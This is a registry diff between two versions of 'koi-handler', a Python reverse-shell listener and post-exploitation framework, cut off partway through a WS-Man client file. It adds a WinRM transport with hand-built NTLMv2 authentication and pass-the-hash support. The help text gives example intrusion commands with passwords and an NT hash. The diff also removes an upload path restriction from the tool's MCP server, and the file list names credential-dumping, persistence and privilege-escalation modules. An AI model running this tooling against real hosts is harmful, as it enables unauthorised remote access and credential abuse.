koi-handler 0.12.1__tar.gz → 0.12.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (71) hide show
  1. {koi_handler-0.12.1/src/koi_handler.egg-info → koi_handler-0.12.2}/PKG-INFO +1 -1
  2. {koi_handler-0.12.1 → koi_handler-0.12.2}/pyproject.toml +1 -1
  3. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/listener.py +13 -10
  4. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/mcp/server.py +0 -14
  5. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/cli.py +20 -3
  6. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/connect/__init__.py +4 -3
  7. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/connect/base.py +18 -0
  8. koi_handler-0.12.2/src/koi/utils/connect/ntlm.py +109 -0
  9. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/connect/ssh.py +16 -0
  10. koi_handler-0.12.2/src/koi/utils/connect/winrm.py +222 -0
  11. koi_handler-0.12.2/src/koi/utils/connect/wsman.py +246 -0
  12. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/interact.py +9 -0
  13. {koi_handler-0.12.1 → koi_handler-0.12.2/src/koi_handler.egg-info}/PKG-INFO +1 -1
  14. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi_handler.egg-info/SOURCES.txt +3 -0
  15. {koi_handler-0.12.1 → koi_handler-0.12.2}/LICENSE +0 -0
  16. {koi_handler-0.12.1 → koi_handler-0.12.2}/setup.cfg +0 -0
  17. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/main.py +0 -0
  18. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/mcp/__init__.py +0 -0
  19. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/mcp/schema.py +0 -0
  20. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/blueprint.py +0 -0
  21. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/download.py +0 -0
  22. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/duplicate.py +0 -0
  23. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/get_processes.py +0 -0
  24. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/get_users.py +0 -0
  25. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/ligolo.py +0 -0
  26. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/loader.py +0 -0
  27. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/network_enum.py +0 -0
  28. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/peas.py +0 -0
  29. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/populate_win.py +0 -0
  30. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/secrets_dump.py +0 -0
  31. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/sharphound.py +0 -0
  32. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/ssh_persist.py +0 -0
  33. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/sysinfo.py +0 -0
  34. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/upload.py +0 -0
  35. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/upload64.py +0 -0
  36. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/wifi_enum.py +0 -0
  37. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/modules/winscalate.py +0 -0
  38. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/session.py +0 -0
  39. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/tunnel/__init__.py +0 -0
  40. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/tunnel/agent_payload.py +0 -0
  41. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/tunnel/engine/__init__.py +0 -0
  42. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/tunnel/engine/__main__.py +0 -0
  43. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/tunnel/engine/agent.py +0 -0
  44. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/tunnel/engine/packet.py +0 -0
  45. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/tunnel/engine/proxy.py +0 -0
  46. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/tunnel/engine/stack.py +0 -0
  47. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/tunnel/engine/tcp.py +0 -0
  48. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/tunnel/engine/transport.py +0 -0
  49. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/tunnel/engine/tun.py +0 -0
  50. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/tunnel/manager.py +0 -0
  51. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/__init__.py +0 -0
  52. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/bash_obfuscate.py +0 -0
  53. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/cache.py +0 -0
  54. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/config.py +0 -0
  55. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/config_ui.py +0 -0
  56. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/constants.py +0 -0
  57. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/detect.py +0 -0
  58. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/logger.py +0 -0
  59. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/models.py +0 -0
  60. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/obfuscate_ui.py +0 -0
  61. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/payloads.py +0 -0
  62. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/powerupgrade.py +0 -0
  63. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/ps_obfuscate.py +0 -0
  64. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/tcp.py +0 -0
  65. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/terminal.py +0 -0
  66. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/tls.py +0 -0
  67. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi/utils/ui.py +0 -0
  68. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi_handler.egg-info/dependency_links.txt +0 -0
  69. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi_handler.egg-info/entry_points.txt +0 -0
  70. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi_handler.egg-info/requires.txt +0 -0
  71. {koi_handler-0.12.1 → koi_handler-0.12.2}/src/koi_handler.egg-info/top_level.txt +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: koi-handler
3
- Version: 0.12.1
3
+ Version: 0.12.2
4
4
  Summary: Reverse shell listener
5
5
  Requires-Python: >=3.10
6
6
  License-File: LICENSE
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "koi-handler"
7
- version = "0.12.1"
7
+ version = "0.12.2"
8
8
  description = "Reverse shell listener"
9
9
  requires-python = ">=3.10"
10
10
  dependencies = [
@@ -28,7 +28,7 @@ from koi.utils.cli import (
28
28
  SCREENABLE_SENTINEL,
29
29
  TOGGLE_SENTINEL,
30
30
  )
31
- from koi.utils.connect import TRANSPORTS, get_transport
31
+ from koi.utils.connect import TRANSPORTS, TransportError, get_transport
32
32
  from koi.utils.powerupgrade import upgrade_windows_conptyshell
33
33
  from koi.utils.tls import server_context, is_tls_client_hello, try_tls_handshake, encrypt_payload
34
34
  from koi.utils.interact import interact
@@ -588,18 +588,20 @@ class Listener:
588
588
  if self.host not in ("0.0.0.0", "::", local_ip):
589
589
  notify('warning', f"Listener is bound to {bold(self._mask_ip(self.host, 'local'))}, the callback goes elsewhere.")
590
590
  notify('status', muted(f"Nothing accepts it: rebind with {bold('--host 0.0.0.0')}, or the payload is lost."))
591
- if self.screenable_mode:
592
- # The transport inherits the real stdout, so _MaskStream never sees its prompts.
591
+ if self.screenable_mode and not transport.direct:
593
592
  notify('warning', f"{transport.name} writes straight to the terminal, its output is not masked.")
594
593
 
595
594
  known = {s.id for s in self._snapshot()}
596
- cmd = transport.build_command(target, transport.remote_script(local_ip, self.port))
597
- env = transport.env(target)
595
+ script = transport.remote_script(local_ip, self.port)
598
596
 
599
597
  try:
600
- returncode = subprocess.run(cmd, env=env).returncode
601
- except FileNotFoundError:
602
- notify('error', f"{accent(cmd[0])} is not installed on this machine.")
598
+ returncode = transport.execute(target, script)
599
+ except FileNotFoundError as exc:
600
+ binary = getattr(exc, 'filename', None) or transport.name
601
+ notify('error', f"{accent(binary)} is not installed on this machine.")
602
+ return
603
+ except TransportError as exc:
604
+ notify('error', str(exc))
603
605
  return
604
606
  except KeyboardInterrupt:
605
607
  print()
@@ -611,7 +613,8 @@ class Listener:
611
613
  notify('error', f"{transport.name} failed ({reason}), payload not delivered.")
612
614
  return
613
615
 
614
- landed = self._wait_for_callback(known, None if host is None else target_ip)
616
+ expect_ip = None if (host is None or transport.direct) else target_ip
617
+ landed = self._wait_for_callback(known, expect_ip)
615
618
  if not landed:
616
619
  notify('warning', f"No callback after {int(_CONNECT_WAIT)}s.")
617
620
  notify('status', muted(
@@ -932,7 +935,7 @@ class Listener:
932
935
  print()
933
936
  notify('info', f"Entering session {bold(alert(f'#{sid}'))} {plain(self._mask_ip(ip))}{muted(f':{port}')}")
934
937
  if sess.os_type in ("windows_cmd", "windows_ps") and not sess.upgraded:
935
- notify('status', muted('Ctrl+Z to background · line-by-line mode'))
938
+ notify('status', muted('Ctrl+Z to background · Ctrl+C interrupts remote · line-by-line mode'))
936
939
  else:
937
940
  notify('status', muted('Ctrl+Z to background · Ctrl+C sends SIGINT to remote'))
938
941
  print()
@@ -42,7 +42,6 @@ _MAX_OUTPUT_BYTES = 256 * 1024
42
42
 
43
43
  # MCP file transfers are confined here; a CLI operator stays unrestricted.
44
44
  _DOWNLOAD_ROOT = Path.home() / ".koi" / "downloads"
45
- _UPLOAD_ROOT = Path.home() / ".koi" / "uploads"
46
45
 
47
46
  # Tools that mutate state or run code: never offered on a read-only connection.
48
47
  _EXEC_ONLY_TOOLS = {"koi_exec", "koi_tag", "koi_tunnel_start", "koi_tunnel_stop"}
@@ -115,17 +114,6 @@ def _confine_download_output(client_value, remote_path: str) -> str:
115
114
  return str(_DOWNLOAD_ROOT / (base or "download"))
116
115
 
117
116
 
118
- def _confine_upload_source(client_value) -> str:
119
- _UPLOAD_ROOT.mkdir(parents=True, exist_ok=True)
120
- root = _UPLOAD_ROOT.resolve()
121
- candidate = Path(str(client_value or ""))
122
- if not candidate.is_absolute():
123
- candidate = root / candidate
124
- candidate = candidate.resolve()
125
- if candidate != root and root not in candidate.parents:
126
- raise ValueError(f"upload local_path must stay under {root}")
127
- return str(candidate)
128
-
129
117
 
130
118
  def _uptime(since: Optional[float]) -> Optional[str]:
131
119
  if since is None:
@@ -606,8 +594,6 @@ class KoiMCPServer:
606
594
  remote = safe_args.get("remote_path")
607
595
  remote_str = " ".join(remote) if isinstance(remote, list) else str(remote or "")
608
596
  safe_args["output"] = _confine_download_output(safe_args.get("output"), remote_str)
609
- elif mod_name == "upload":
610
- safe_args["local_path"] = _confine_upload_source(safe_args.get("local_path"))
611
597
  argv = schema_to_argv(mod_cls, safe_args)
612
598
 
613
599
  error: Optional[str] = None
@@ -202,6 +202,11 @@ def completer(text: str, state: int):
202
202
  ):
203
203
  options = _match(text, list(load_modules().keys()))
204
204
 
205
+ elif parts[0] == "help" and len(parts) >= 2 and parts[1].lower() in ALIASES["connect"] and (
206
+ len(parts) == 2 or (len(parts) == 3 and not line.endswith(" "))
207
+ ):
208
+ options = _match(text, list(TRANSPORTS))
209
+
205
210
  elif parts[0] in _PAYLOAD_LIKE_CMDS and (
206
211
  len(parts) == 1 or (len(parts) == 2 and not line.endswith(" "))
207
212
  ):
@@ -304,10 +309,13 @@ COMMAND_HELP: dict[str, dict[str, str]] = {
304
309
  "Examples": "tag 1 dc01\ntag 2 webserver\ntag dc01",
305
310
  },
306
311
  "connect": {
307
- "Usage": "connect <transport> <[user[:pass]@]host> [transport args...]",
308
- "Description": "Open a session on a remote host over the given transport. Koi delivers a callback payload, waits for the shell to land, and adds it to the session table. Extra arguments after the target are passed straight to the transport binary (e.g. ssh -J, -i, -p).",
312
+ "Usage": "connect <transport> <target> [transport args...]",
313
+ "Description": "Open a session on a remote host over the given transport.\nUse help connect <transport> for transport-specific details.",
309
314
  "Transports": ", ".join(TRANSPORTS),
310
- "Examples": "connect ssh root@10.10.10.5\nconnect ssh admin:Password1@dc01.corp.local\nconnect ssh user@box -J pivot@10.0.0.1\nconnect ssh user@box -i ~/.ssh/id_ed25519",
315
+ "Examples": (
316
+ "connect ssh root@10.10.10.5\n"
317
+ "connect winrm admin:P@ss@10.0.0.5"
318
+ ),
311
319
  },
312
320
  "payload": {
313
321
  "Usage": "payload [iface]",
@@ -401,6 +409,15 @@ def print_help(topic: Optional[str] = None, subtopic: Optional[str] = None) -> N
401
409
 
402
410
  if topic:
403
411
  canon = resolve_command(topic)
412
+
413
+ if canon == "connect" and subtopic:
414
+ transport = get_transport(subtopic)
415
+ if transport is not None:
416
+ print_report_box(f"help: connect {transport.name}", transport.help_detail())
417
+ return
418
+ notify('error', f"Unknown transport {accent(subtopic)}. Available: {', '.join(TRANSPORTS)}.")
419
+ return
420
+
404
421
  entry = COMMAND_HELP.get(canon)
405
422
  if entry is not None:
406
423
  print_report_box(f"help: {canon}", {
@@ -2,14 +2,15 @@ from __future__ import annotations
2
2
 
3
3
  from typing import Optional
4
4
 
5
- from koi.utils.connect.base import Target, Transport
5
+ from koi.utils.connect.base import Target, Transport, TransportError
6
6
  from koi.utils.connect.ssh import SshTransport
7
+ from koi.utils.connect.winrm import WinrmTransport
7
8
 
8
- TRANSPORTS: dict[str, Transport] = {t.name.lower(): t for t in (SshTransport(),)}
9
+ TRANSPORTS: dict[str, Transport] = {t.name.lower(): t for t in (SshTransport(), WinrmTransport())}
9
10
 
10
11
 
11
12
  def get_transport(name: str) -> Optional[Transport]:
12
13
  return TRANSPORTS.get(name.lower())
13
14
 
14
15
 
15
- __all__ = ["TRANSPORTS", "Target", "Transport", "get_transport"]
16
+ __all__ = ["TRANSPORTS", "Target", "Transport", "TransportError", "get_transport"]
@@ -1,11 +1,16 @@
1
1
  from __future__ import annotations
2
2
 
3
+ import subprocess
3
4
  from dataclasses import dataclass, field
4
5
  from typing import Optional
5
6
 
6
7
  from koi.utils.ui import accent
7
8
 
8
9
 
10
+ class TransportError(Exception):
11
+ """Raised by direct transports (WinRM, ...) on connection or auth failure."""
12
+
13
+
9
14
  @dataclass
10
15
  class Target:
11
16
  """``destination`` goes to the transport binary; ``host`` resolves the callback interface."""
@@ -21,6 +26,7 @@ class Transport:
21
26
  name: str = ""
22
27
  syntax: str = "" # destination spec, shown in `help` and usage errors
23
28
  summary: str = "" # one-liner for the help screen
29
+ direct: bool = False
24
30
 
25
31
  @property
26
32
  def usage(self) -> str:
@@ -47,6 +53,12 @@ class Transport:
47
53
  """Settle authentication, prompting if needed. False aborts the connect."""
48
54
  return True
49
55
 
56
+ def execute(self, target: Target, remote_script: str) -> int:
57
+ """Deliver *remote_script* to *target*. Returns the process exit code."""
58
+ cmd = self.build_command(target, remote_script)
59
+ env = self.env(target)
60
+ return subprocess.run(cmd, env=env).returncode
61
+
50
62
  def env(self, target: Target) -> Optional[dict[str, str]]:
51
63
  """Environment for the command, None to inherit Koi's."""
52
64
  return None
@@ -54,6 +66,12 @@ class Transport:
54
66
  def explain_exit(self, target: Target, code: int) -> str:
55
67
  return f"exit code {code}"
56
68
 
69
+ def help_detail(self) -> dict[str, str]:
70
+ return {
71
+ "Usage": f"connect {self.name} {self.syntax}",
72
+ "Description": self.summary,
73
+ }
74
+
57
75
  def completions(self) -> list[str]:
58
76
  """Known destinations, tab-completed after the transport name."""
59
77
  return []
@@ -0,0 +1,109 @@
1
+ from __future__ import annotations
2
+
3
+ import hashlib
4
+ import hmac
5
+ import os
6
+ import struct
7
+ import time
8
+
9
+ _NEGOTIATE_UNICODE = 0x00000001
10
+ _REQUEST_TARGET = 0x00000004
11
+ _NEGOTIATE_NTLM = 0x00000200
12
+ _NEGOTIATE_ALWAYS_SIGN = 0x00008000
13
+ _NEGOTIATE_EXTENDED_SESSIONSECURITY = 0x00080000
14
+ _NEGOTIATE_TARGET_INFO = 0x00800000
15
+
16
+ _FLAGS = (
17
+ _NEGOTIATE_UNICODE
18
+ | _REQUEST_TARGET
19
+ | _NEGOTIATE_NTLM
20
+ | _NEGOTIATE_ALWAYS_SIGN
21
+ | _NEGOTIATE_EXTENDED_SESSIONSECURITY
22
+ | _NEGOTIATE_TARGET_INFO
23
+ )
24
+
25
+ _EPOCH_DELTA = 116_444_736_000_000_000
26
+
27
+
28
+ def _filetime() -> bytes:
29
+ return struct.pack('<Q', int(time.time() * 10_000_000) + _EPOCH_DELTA)
30
+
31
+
32
+ def _sec_buf(length: int, offset: int) -> bytes:
33
+ return struct.pack('<HHI', length, length, offset)
34
+
35
+
36
+ def nt_hash(password: str) -> bytes:
37
+ return hashlib.new('md4', password.encode('utf-16-le')).digest()
38
+
39
+
40
+ def _response_key(nt_h: bytes, user: str, domain: str) -> bytes:
41
+ return hmac.new(nt_h, (user.upper() + domain).encode('utf-16-le'), 'md5').digest()
42
+
43
+
44
+ def negotiate() -> bytes:
45
+ return (
46
+ b'NTLMSSP\x00'
47
+ + struct.pack('<I', 1)
48
+ + struct.pack('<I', _FLAGS)
49
+ + _sec_buf(0, 0)
50
+ + _sec_buf(0, 0)
51
+ )
52
+
53
+
54
+ def _parse_challenge(data: bytes) -> tuple[bytes, int, bytes]:
55
+ if data[:8] != b'NTLMSSP\x00' or struct.unpack_from('<I', data, 8)[0] != 2:
56
+ raise ValueError('invalid NTLM Type 2 message')
57
+
58
+ challenge = data[24:32]
59
+ flags = struct.unpack_from('<I', data, 20)[0]
60
+
61
+ target_info = b''
62
+ if len(data) >= 48:
63
+ info_len, _, info_off = struct.unpack_from('<HHI', data, 40)
64
+ target_info = data[info_off:info_off + info_len]
65
+
66
+ return challenge, flags, target_info
67
+
68
+
69
+ def authenticate(type2: bytes, user: str, nt_h: bytes, domain: str = '') -> bytes:
70
+ server_challenge, _, target_info = _parse_challenge(type2)
71
+ resp_key = _response_key(nt_h, user, domain)
72
+
73
+ client_challenge = os.urandom(8)
74
+ blob = (
75
+ b'\x01\x01\x00\x00\x00\x00\x00\x00'
76
+ + _filetime()
77
+ + client_challenge
78
+ + b'\x00\x00\x00\x00'
79
+ + target_info
80
+ + b'\x00\x00\x00\x00'
81
+ )
82
+
83
+ nt_proof = hmac.new(resp_key, server_challenge + blob, 'md5').digest()
84
+ nt_response = nt_proof + blob
85
+ lm_response = hmac.new(resp_key, server_challenge + client_challenge, 'md5').digest() + client_challenge
86
+
87
+ domain_b = domain.encode('utf-16-le')
88
+ user_b = user.encode('utf-16-le')
89
+ ws_b = b''
90
+ sk_b = b''
91
+
92
+ base = 64
93
+ off = base
94
+ payload = [domain_b, user_b, ws_b, lm_response, nt_response, sk_b]
95
+ offsets = []
96
+ for part in payload:
97
+ offsets.append(off)
98
+ off += len(part)
99
+
100
+ header = b'NTLMSSP\x00' + struct.pack('<I', 3)
101
+ header += _sec_buf(len(lm_response), offsets[3])
102
+ header += _sec_buf(len(nt_response), offsets[4])
103
+ header += _sec_buf(len(domain_b), offsets[0])
104
+ header += _sec_buf(len(user_b), offsets[1])
105
+ header += _sec_buf(len(ws_b), offsets[2])
106
+ header += _sec_buf(len(sk_b), offsets[5])
107
+ header += struct.pack('<I', _FLAGS)
108
+
109
+ return header + b''.join(payload)
@@ -84,6 +84,22 @@ class SshTransport(Transport):
84
84
  return _SSHPASS_EXIT[code]
85
85
  return f"exit code {code}"
86
86
 
87
+ def help_detail(self) -> dict[str, str]:
88
+ return {
89
+ "Usage": f"connect {self.name} {self.syntax} [ssh args...]",
90
+ "Description": (
91
+ "Deliver a reverse shell payload over SSH.\n"
92
+ "Extra arguments are forwarded to the ssh binary.\n"
93
+ "Inline passwords require sshpass."
94
+ ),
95
+ "Examples": (
96
+ "connect ssh root@10.10.10.5\n"
97
+ "connect ssh admin:Password1@dc01.corp.local\n"
98
+ "connect ssh user@box -J pivot@10.0.0.1\n"
99
+ "connect ssh user@box -i ~/.ssh/id_ed25519"
100
+ ),
101
+ }
102
+
87
103
  def completions(self) -> list[str]:
88
104
  hosts: list[str] = []
89
105
  try:
@@ -0,0 +1,222 @@
1
+ from __future__ import annotations
2
+
3
+ import getpass
4
+ import select
5
+ import socket
6
+ import threading
7
+ from dataclasses import dataclass, field
8
+ from typing import Optional
9
+
10
+ from koi.utils.connect import ntlm
11
+ from koi.utils.connect.base import Target, Transport, TransportError
12
+ from koi.utils.connect.wsman import WsManClient
13
+ from koi.utils.ui import muted, notify
14
+
15
+
16
+ @dataclass
17
+ class WinrmTarget(Target):
18
+ user: str = ''
19
+ domain: str = ''
20
+ port: int = 5985
21
+ nt_hash_bytes: Optional[bytes] = field(default=None, repr=False)
22
+
23
+
24
+ class WinrmTransport(Transport):
25
+ name = "winrm"
26
+ syntax = "<[domain\\\\]user[:pass|%nthash]@host[:port]>"
27
+ summary = "Open a session over WinRM (NTLMv2, pure Python, no deps)"
28
+
29
+ direct = True
30
+
31
+ def parse(self, argv: list[str]) -> Optional[WinrmTarget]:
32
+ if not argv:
33
+ return None
34
+
35
+ raw = argv[0]
36
+ userinfo, at, hostpart = raw.rpartition('@')
37
+ if not at or not userinfo:
38
+ return None
39
+
40
+ host, port = hostpart, 5985
41
+ if ':' in hostpart:
42
+ host, _, port_s = hostpart.rpartition(':')
43
+ try:
44
+ port = int(port_s)
45
+ except ValueError:
46
+ return None
47
+
48
+ domain = ''
49
+ if '\\' in userinfo:
50
+ domain, _, userinfo = userinfo.partition('\\')
51
+
52
+ if '%' in userinfo:
53
+ user, _, hash_hex = userinfo.partition('%')
54
+ try:
55
+ nt_h = bytes.fromhex(hash_hex)
56
+ except ValueError:
57
+ notify('error', 'Invalid NT hash (expected 32 hex characters).')
58
+ return None
59
+ if len(nt_h) != 16:
60
+ notify('error', 'NT hash must be exactly 16 bytes (32 hex chars).')
61
+ return None
62
+ return WinrmTarget(
63
+ destination=raw, host=host, user=user,
64
+ domain=domain, port=port, nt_hash_bytes=nt_h,
65
+ )
66
+
67
+ password = None
68
+ if ':' in userinfo:
69
+ user, _, password = userinfo.partition(':')
70
+ else:
71
+ user = userinfo
72
+
73
+ return WinrmTarget(
74
+ destination=raw, host=host, password=password or None,
75
+ user=user, domain=domain, port=port,
76
+ )
77
+
78
+ def resolve_auth(self, target: Target) -> bool:
79
+ t: WinrmTarget = target # type: ignore[assignment]
80
+ if t.password is None and t.nt_hash_bytes is None:
81
+ pwd = getpass.getpass(f'Password for {t.user}@{t.host}: ')
82
+ if not pwd:
83
+ notify('warning', 'No password provided.')
84
+ return False
85
+ t.password = pwd
86
+ return True
87
+
88
+ def remote_script(self, local_ip: str, port: int) -> str:
89
+ self._listener_port = port
90
+ return ''
91
+
92
+ def help_detail(self) -> dict[str, str]:
93
+ return {
94
+ "Usage": f"connect {self.name} {self.syntax}",
95
+ "Description": (
96
+ "Open an interactive PowerShell session over WinRM (WS-Man).\n"
97
+ "Authentication uses NTLMv2 (pure Python, no external deps).\n"
98
+ "Port 5986 auto-enables HTTPS/TLS."
99
+ ),
100
+ "Auth modes": (
101
+ "user:password@host plaintext password\n"
102
+ "DOMAIN\\user:password@host domain account\n"
103
+ "user%NTHASH@host pass-the-hash (32 hex chars)\n"
104
+ "user@host prompts for password"
105
+ ),
106
+ "Examples": (
107
+ "connect winrm admin:P@ss@10.0.0.5\n"
108
+ "connect winrm CORP\\svc_sql:Summer2024@dc01\n"
109
+ "connect winrm admin%aad3b435b51404eeaad3b435b51404ee@10.0.0.5\n"
110
+ "connect winrm admin@host:5986"
111
+ ),
112
+ }
113
+
114
+ def execute(self, target: Target, remote_script: str) -> int:
115
+ t: WinrmTarget = target # type: ignore[assignment]
116
+ nt_h = t.nt_hash_bytes or ntlm.nt_hash(t.password)
117
+ use_ssl = t.port == 5986
118
+
119
+ client = WsManClient(
120
+ t.host, t.port, t.user, nt_h, t.domain, use_ssl=use_ssl,
121
+ )
122
+
123
+ notify('status', muted(f'Authenticating to {t.host}:{t.port} ...'))
124
+ try:
125
+ shell_id = client.create_shell()
126
+ except OSError as exc:
127
+ raise TransportError(f'Cannot reach {t.host}:{t.port} ({exc})') from exc
128
+
129
+ command_id = client.run_command(
130
+ shell_id, 'powershell', '-NoProfile -NoLogo',
131
+ )
132
+
133
+ # Connect back to Koi's own listener to register as a session.
134
+ bridge = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
135
+ try:
136
+ bridge.connect(('127.0.0.1', self._listener_port))
137
+ except OSError as exc:
138
+ client.signal_terminate(shell_id, command_id)
139
+ client.delete_shell(shell_id)
140
+ client.close()
141
+ raise TransportError(f'Cannot connect to local listener ({exc})') from exc
142
+
143
+ stop = threading.Event()
144
+
145
+ def _recv_loop():
146
+ """WS-Man -> bridge socket: poll output and forward."""
147
+ try:
148
+ while not stop.is_set():
149
+ try:
150
+ data, done = client.receive_output(shell_id, command_id)
151
+ except (TransportError, OSError):
152
+ break
153
+ if data:
154
+ try:
155
+ bridge.sendall(data)
156
+ except OSError:
157
+ break
158
+ if done:
159
+ break
160
+ finally:
161
+ stop.set()
162
+ try:
163
+ bridge.shutdown(socket.SHUT_WR)
164
+ except OSError:
165
+ pass
166
+
167
+ def _send_loop():
168
+ """Bridge socket -> WS-Man: read input and send."""
169
+ try:
170
+ while not stop.is_set():
171
+ ready, _, _ = select.select([bridge], [], [], 0.5)
172
+ if not ready:
173
+ continue
174
+ try:
175
+ chunk = bridge.recv(4096)
176
+ except OSError:
177
+ break
178
+ if not chunk:
179
+ break
180
+ try:
181
+ if b'\x03' in chunk:
182
+ parts = chunk.split(b'\x03')
183
+ for i, part in enumerate(parts):
184
+ if part:
185
+ client.send_input(shell_id, command_id, part)
186
+ if i < len(parts) - 1:
187
+ client.signal_ctrl_c(shell_id, command_id)
188
+ else:
189
+ client.send_input(shell_id, command_id, chunk)
190
+ except (TransportError, OSError):
191
+ break
192
+ finally:
193
+ stop.set()
194
+
195
+ t_recv = threading.Thread(target=_recv_loop, daemon=True)
196
+ t_send = threading.Thread(target=_send_loop, daemon=True)
197
+ t_recv.start()
198
+ t_send.start()
199
+
200
+ def _cleanup():
201
+ """Wait for bridge death, then tear down the WS-Man shell."""
202
+ stop.wait()
203
+ t_recv.join(timeout=5)
204
+ t_send.join(timeout=5)
205
+ try:
206
+ client.signal_terminate(shell_id, command_id)
207
+ except Exception:
208
+ pass
209
+ try:
210
+ client.delete_shell(shell_id)
211
+ except Exception:
212
+ pass
213
+ try:
214
+ bridge.close()
215
+ except Exception:
216
+ pass
217
+
218
+ threading.Thread(target=_cleanup, daemon=True).start()
219
+
220
+ return 0
221
+
222
+ _listener_port: int = 0
@@ -0,0 +1,246 @@
1
+ from __future__ import annotations
2
+
3
+ import base64
4
+ import http.client
5
+ import ssl
6
+ import uuid
7
+ from typing import Optional
8
+ from xml.etree import ElementTree as ET
9
+ from xml.sax.saxutils import escape as _xml_escape
10
+
11
+ from koi.utils.connect import ntlm
12
+ from koi.utils.connect.base import TransportError
13
+
14
+ _CONTENT_TYPE = 'application/soap+xml;charset=UTF-8'
15
+ _TIMEOUT = 30
16
+
17
+ _RSP = 'http://schemas.microsoft.com/wbem/wsman/1/windows/shell'
18
+ _RESOURCE_CMD = _RSP + '/cmd'
19
+
20
+ _ACTION_CREATE = 'http://schemas.xmlsoap.org/ws/2004/09/transfer/Create'
21
+ _ACTION_COMMAND = _RSP + '/Command'
22
+ _ACTION_RECEIVE = _RSP + '/Receive'
23
+ _ACTION_SEND = _RSP + '/Send'
24
+ _ACTION_SIGNAL = _RSP + '/Signal'
25
+ _ACTION_DELETE = 'http://schemas.xmlsoap.org/ws/2004/09/transfer/Delete'
26
+
27
+ _SIGNAL_TERMINATE = 'http://schemas.microsoft.com/wbem/wsman/1/windows/shell/signal/terminate'
28
+ _SIGNAL_CTRL_C = 'http://schemas.microsoft.com/wbem/wsman/1/windows/shell/signal/ctrl_c'
29
+
30
+ _XMLNS = (
31
+ 'xmlns:s="http://www.w3.org/2003/05/soap-envelope"'
32
+ ' xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing"'
33
+ ' xmlns:wsman="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd"'
34
+ ' xmlns:rsp="http://schemas.microsoft.com/wbem/wsman/1/windows/shell"'
35
+ )
36
+
37
+ _ANONYMOUS = 'http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous'
38
+
39
+
40
+ def _envelope(action: str, url: str, shell_id: Optional[str], body: str) -> str:
41
+ selector = ''
42
+ if shell_id:
43
+ selector = (
44
+ '<wsman:SelectorSet>'
45
